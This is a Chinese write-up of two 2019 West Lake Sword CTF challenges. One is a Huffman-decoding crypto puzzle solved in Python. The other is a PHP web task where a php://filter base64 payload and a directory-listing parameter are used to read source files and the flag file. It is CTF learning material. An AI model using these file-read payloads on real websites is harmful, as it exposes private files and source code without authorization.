西湖论剑2019

CRYPTO哈夫曼之谜

1
2
3
4
5
6
7
8
9
10
11
11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110

a:4
d:9
g:1
f:5
l:1
0:7
5:9
{:1
}:1
1
2
3
4
5
6
import huffman
import collections
t1=huffman.codebook([('a', 4), ('d', 9), ('g', 1), ('f', 5),('l', 1),('0', 7),('5', 9),('{', 1),('}', 1)])
print(t1)
#{'a': '000', 'd': '10', 'g': '00100', 'f': '110', 'l': '00101', '0': '111', '5': '01', '{': '00111', '}': '00110'}
#得到f{algddf5dfd0f05550500a5af55dd0d5d0ad},权重一样的位置可以交换,最后提交ddf5dfd0f05550500a5af55dd0d5d0ad成功

#babyt3
http://ctf1.linkedbyx.com:10300
首页发现是任意文件读取,然后又看到hint,base64解码得到dir.php,然后用php伪协议读取dir.php,再base64解码
payload:

1
http://ctf1.linkedbyx.com:10300/?file=php://filter/read=convert.base64-encode/resource=dir.php

得到源码

1
2
3
4
5
6
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

scandir() 函数返回指定目录中的文件和目录的数组,再同级和上级目录都试试,发现上级目录是存在文件的
payload:

1
http://ctf1.linkedbyx.com:10300/dir.php?dir=/..

返回目录信息

1
array(25) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(16) "ffffflag_1s_Her4" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(7) "my_init" [14]=> string(10) "my_service" [15]=> string(3) "opt" [16]=> string(4) "proc" [17]=> string(4) "root" [18]=> string(3) "run" [19]=> string(4) "sbin" [20]=> string(3) "srv" [21]=> string(3) "sys" [22]=> string(3) "tmp" [23]=> string(3) "usr" [24]=> string(3) "var" }

发现ffffflag_1s_Her4,再读取就好了,得到flag
payload:

1
http://ctf1.linkedbyx.com:10300/?file=/ffffflag_1s_Her4